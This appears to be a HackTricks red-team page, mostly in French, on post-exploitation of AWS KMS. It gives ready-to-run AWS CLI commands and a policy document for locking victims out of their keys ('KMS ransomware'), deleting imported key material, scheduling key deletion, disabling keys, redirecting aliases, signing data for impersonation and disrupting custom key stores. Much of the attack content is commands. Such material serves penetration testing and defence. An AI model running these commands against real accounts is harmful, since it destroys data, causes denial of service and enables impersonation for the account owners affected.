AWS - KMS Post Exploitation

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

KMS

Pour plus d'informations, consultez :

AWS - KMS Enum

Encrypt/Decrypt information

fileb:// and file:// sont des schémas d'URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux:

  • fileb://: Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.
  • file://: Lit le fichier en mode texte, généralement utilisé pour les fichiers texte simples, scripts ou JSON qui n'ont pas d'exigences d'encodage particulières.

tip

Notez que si vous voulez decrypt des données à l'intérieur d'un fichier, le fichier doit contenir les données binaires, pas des données encodées en base64. (fileb://)

  • Using a symmetric key
bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Utiliser une clé asymétrique :
bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Un attaquant disposant d'un accès privilégié à KMS peut modifier la KMS policy des clés et accorder à son compte l'accès à celles-ci, supprimant l'accès accordé au compte légitime.

Les utilisateurs du compte légitime ne pourront alors plus accéder à aucune information de tout service chiffré avec ces clés, créant un ransomware simple mais efficace contre le compte.

warning

Notez que AWS managed keys ne sont pas affectées par cette attaque, seulement les Customer managed keys.

Notez aussi la nécessité d'utiliser le paramètre --bypass-policy-lockout-safety-check (l'absence de cette option dans la web console rend cette attaque possible uniquement depuis le CLI).

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

caution

Notez que si vous changez cette policy et ne donnez l'accès qu'à un external account, puis que depuis cet external account vous essayez de définir une nouvelle policy pour give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account.

Generic KMS Ransomware

Il existe une autre façon d'effectuer un global KMS Ransomware, qui impliquerait les étapes suivantes :

  • Créer une nouvelle key with a key material importée par l'attacker
  • Re-encrypt older data of the victim encrypted with the previous version with the new one.
  • Delete the KMS key
  • Maintenant seul l'attacker, qui possède le original key material, pourra être capable de decrypt the encrypted data

Delete Keys via kms:DeleteImportedKeyMaterial

Avec la permission kms:DeleteImportedKeyMaterial, un actor peut delete the imported key material des CMKs avec Origin=EXTERNAL (CMKs that have imperted their key material), les rendant incapables de decrypt data. Cette action est destructive et irréversible sauf si du compatible material est re-imported, permettant à un attacker de provoquer effectivement une perte de données de type ransomware en rendant l'information encrypted définitivement inaccessible.

bash
aws kms delete-imported-key-material --key-id <Key_ID>

Détruire les clés

En détruisant des clés, il est possible d'effectuer un DoS.

bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

caution

Notez qu'AWS empêche désormais que les actions précédentes soient effectuées depuis un autre compte :

Modifier ou supprimer Alias

Cette attaque supprime ou redirige les aliases AWS KMS, rompant la résolution des clés et provoquant des échecs immédiats dans tous les services qui dépendent de ces aliases, entraînant un déni de service. Avec des permissions telles que kms:DeleteAlias ou kms:UpdateAlias, un attaquant peut supprimer ou rediriger des aliases et perturber les opérations cryptographiques (p. ex., encrypt, describe). Tout service qui référence l'alias au lieu du key ID peut échouer jusqu'à ce que l'alias soit restauré ou correctement réaffecté.

bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Cancel Key Deletion

Avec des permissions telles que kms:CancelKeyDeletion et kms:EnableKey, un acteur peut annuler une suppression programmée d'une AWS KMS customer master key et la réactiver plus tard. Ce faisant, il récupère la clé (initialement en état Disabled) et restaure sa capacité à déchiffrer des données précédemment protégées, permettant l'exfiltration.

bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Désactiver la clé

Avec la permission kms:DisableKey, un acteur peut désactiver une CMK (customer master key) AWS KMS, empêchant son utilisation pour le chiffrement ou le déchiffrement. Cela coupe l'accès pour tous les services qui dépendent de cette CMK et peut provoquer des perturbations immédiates ou un déni de service jusqu'à ce que la clé soit réactivée.

bash
aws kms disable-key \
--key-id <key_id>

Derive Shared Secret

Avec la permission kms:DeriveSharedSecret, un acteur peut utiliser une clé privée stockée dans KMS ainsi qu'une clé publique fournie par l'utilisateur pour calculer un secret partagé ECDH.

bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Avec la permission kms:Sign, un acteur peut utiliser une CMK stockée dans KMS pour signer cryptographiquement des données sans exposer la private key, produisant des signatures valides qui peuvent permettre l'impersonation ou autoriser des actions malveillantes.

bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS avec Custom Key Stores

Avec des autorisations comme kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore ou kms:UpdateCustomKeyStore, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés principales inopérantes. Cela interrompt les opérations de chiffrement, de déchiffrement et de signature pour tous les services qui dépendent de ces clés et peut provoquer un denial-of-service immédiat. Il est donc essentiel de restreindre et de surveiller ces autorisations.

bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks